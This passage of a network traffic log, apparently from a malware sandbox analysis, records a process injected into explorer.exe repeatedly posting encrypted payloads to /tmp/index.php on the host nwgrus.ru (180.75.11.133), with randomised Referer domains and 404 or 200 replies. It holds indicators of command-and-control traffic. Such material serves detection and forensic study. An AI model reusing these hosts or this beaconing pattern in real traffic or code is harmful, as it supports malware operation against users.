Oct 8, 2024 03:14:38.896028042 CEST	171	OUT	Data Raw: 3b 6e 21 17 f6 bb 60 23 ab db c5 00 0f 70 7d ce 0a 7e ba 93 1f 00 95 60 0a 7a 7f 9c 37 b7 b4 6f 92 59 c0 58 73 68 52 1f ed 98 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 06 6b 2c 90 f5 76 0b 75 74 2d aa a3 Data Ascii: ;n!`#p}~`z7oYXshR? 9Yt M@NA -[k,vut-EmquRX4=ndoogN.^]CZ\|55bjS4j
Oct 8, 2024 03:14:40.294745922 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 01:14:40 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49750	180.75.11.133	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 03:14:40.302452087 CEST	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://iwmxjihevykqvbos.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 367 Host: nwgrus.ru
Oct 8, 2024 03:14:40.305581093 CEST	367	OUT	Data Raw: 3b 6e 21 17 f6 bb 60 23 ab db c5 00 0f 70 7d ce 0a 7e ba 93 1f 00 95 60 0a 7a 7f 9c 37 b7 b4 6f 92 59 c0 58 73 68 52 1f ed 98 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 07 6b 2c 90 f5 76 0b 75 37 1a b7 b7 Data Ascii: ;n!`#p}~`z7oYXshR? 9Yt M@NA -[k,vu7GykKB}W6:fC[}xN0X=%-MB7\s)8A1)Uj[6#eB*JU<Mw8T9p
Oct 8, 2024 03:14:41.686357021 CEST	137	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 01:14:41 GMT Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49751	180.75.11.133	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 03:14:41.694941998 CEST	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lxadwtocjtceer.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 213 Host: nwgrus.ru
Oct 8, 2024 03:14:41.694969893 CEST	213	OUT	Data Raw: 3b 6e 21 17 f6 bb 60 23 ab db c5 00 0f 70 7d ce 0a 7e ba 93 1f 00 95 60 0a 7a 7f 9c 37 b7 b4 6f 92 59 c0 58 73 68 52 1f ed 98 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 04 6b 2c 90 f5 76 0b 75 2e 19 ce 86 Data Ascii: ;n!`#p}~`z7oYXshR? 9Yt M@NA -[k,vu.~]Cm@UueZ_z"b^hm46+?Nl9!UO+#q1606P>&$W+
Oct 8, 2024 03:14:43.070204020 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 01:14:42 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49752	180.75.11.133	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 03:14:43.077734947 CEST	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hvtgqqwlcbupjdi.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 194 Host: nwgrus.ru
Oct 8, 2024 03:14:43.077768087 CEST	194	OUT	Data Raw: 3b 6e 21 17 f6 bb 60 23 ab db c5 00 0f 70 7d ce 0a 7e ba 93 1f 00 95 60 0a 7a 7f 9c 37 b7 b4 6f 92 59 c0 58 73 68 52 1f ed 98 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 05 6b 2c 90 f5 76 0b 75 4d 54 de 8e Data Ascii: ;n!`#p}~`z7oYXshR? 9Yt M@NA -[k,vuMTIGQAgb0\C1r=lb@WYS=Lhk7M:$gj)xWmk>
Oct 8, 2024 03:14:44.453233957 CEST	137	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 01:14:44 GMT Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49753	180.75.11.133	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 03:14:44.486186981 CEST	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://cestfyhpiwlpo.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 200 Host: nwgrus.ru
Oct 8, 2024 03:14:44.489777088 CEST	200	OUT	Data Raw: 3b 6e 21 17 f6 bb 60 23 ab db c5 00 0f 70 7d ce 0a 7e ba 93 1f 00 95 60 0a 7a 7f 9c 37 b7 b4 6f 92 59 c0 58 73 68 52 1f ed 98 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 1a 6b 2c 90 f5 76 0b 75 61 3f aa 9e Data Ascii: ;n!`#p}~`z7oYXshR? 9Yt M@NA -[k,vua?L_M+~!&\|@eXL~U$p#Z8KbI:\|gPul&{SyB
Oct 8, 2024 03:14:46.078051090 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 01:14:45 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Oct 8, 2024 03:14:46.353574038 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 01:14:45 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49754	180.75.11.133	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 03:14:46.353887081 CEST	279	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://qocskrvscrey.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 158 Host: nwgrus.ru
Oct 8, 2024 03:14:46.353938103 CEST	158	OUT	Data Raw: 3b 6e 21 17 f6 bb 60 23 ab db c5 00 0f 70 7d ce 0a 7e ba 93 1f 00 95 60 0a 7a 7f 9c 37 b7 b4 6f 92 59 c0 58 73 68 52 1f ed 98 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 1b 6b 2c 90 f5 76 0b 75 54 2c a5 a4 Data Ascii: ;n!`#p}~`z7oYXshR? 9Yt M@NA -[k,vuT,d^yFw1)mi*5WFKR8Wv;3
Oct 8, 2024 03:14:47.954217911 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 01:14:47 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49755	180.75.11.133	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 03:14:47.961740017 CEST	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://tcqfwxekwxifmk.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 346 Host: nwgrus.ru
Oct 8, 2024 03:14:47.961771965 CEST	346	OUT	Data Raw: 3b 6e 21 17 f6 bb 60 23 ab db c5 00 0f 70 7d ce 0a 7e ba 93 1f 00 95 60 0a 7a 7f 9c 37 b7 b4 6f 92 59 c0 58 73 68 52 1f ed 98 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 18 6b 2c 90 f5 76 0b 75 2d 0f fb b8 Data Ascii: ;n!`#p}~`z7oYXshR? 9Yt M@NA -[k,vu-M)OYp92;o5_&W/%L#&1fN8f~B@}0f.v5DemxvWGzl5=w
Oct 8, 2024 03:14:49.383939028 CEST	137	IN	HTTP/1.1 200 OK Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 01:14:49 GMT Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49756	180.75.11.133	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 03:14:49.391505957 CEST	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://qhndxwhkmipxgbaj.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 122 Host: nwgrus.ru
Oct 8, 2024 03:14:49.391505957 CEST	122	OUT	Data Raw: 3b 6e 21 17 f6 bb 60 23 ab db c5 00 0f 70 7d ce 0a 7e ba 93 1f 00 95 60 0a 7a 7f 9c 37 b7 b4 6f 92 59 c0 58 73 68 52 1f ed 98 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 19 6b 2c 90 f5 76 0b 75 78 35 dd 9c Data Ascii: ;n!`#p}~`z7oYXshR? 9Yt M@NA -[k,vux5DEp.h-yjf0
Oct 8, 2024 03:14:50.821456909 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 01:14:50 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49758	180.75.11.133	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 03:14:50.829643011 CEST	278	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://awkedsxfgif.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 221 Host: nwgrus.ru
Oct 8, 2024 03:14:50.829658031 CEST	221	OUT	Data Raw: 3b 6e 21 17 f6 bb 60 23 ab db c5 00 0f 70 7d ce 0a 7e ba 93 1f 00 95 60 0a 7a 7f 9c 37 b7 b4 6f 92 59 c0 58 73 68 52 1f ed 98 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 1e 6b 2c 90 f5 76 0b 75 56 2d d4 90 Data Ascii: ;n!`#p}~`z7oYXshR? 9Yt M@NA -[k,vuV-^jkRqogFtSe##JDYD_(Q!@aZ9X+!8!Z5xQ-k8L?#[w
Oct 8, 2024 03:14:52.231482983 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 01:14:51 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49759	180.75.11.133	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 03:14:52.243201971 CEST	278	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xnrwcbelwfy.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 120 Host: nwgrus.ru
Oct 8, 2024 03:14:52.243201971 CEST	120	OUT	Data Raw: 3b 6e 21 17 f6 bb 60 23 ab db c5 00 0f 70 7d ce 0a 7e ba 93 1f 00 95 60 0a 7a 7f 9c 37 b7 b4 6f 92 59 c0 58 73 68 52 1f ed 98 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 1f 6b 2c 90 f5 76 0b 75 70 18 b9 92 Data Ascii: ;n!`#p}~`z7oYXshR? 9Yt M@NA -[k,vupo?ZZeeBZxwgoZa
Oct 8, 2024 03:14:53.618547916 CEST	484	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.0 Date: Tue, 08 Oct 2024 01:14:53 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49760	180.75.11.133	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 03:14:53.627556086 CEST	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hidbwvhnrpsqtckd.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 167 Host: nwgrus.ru
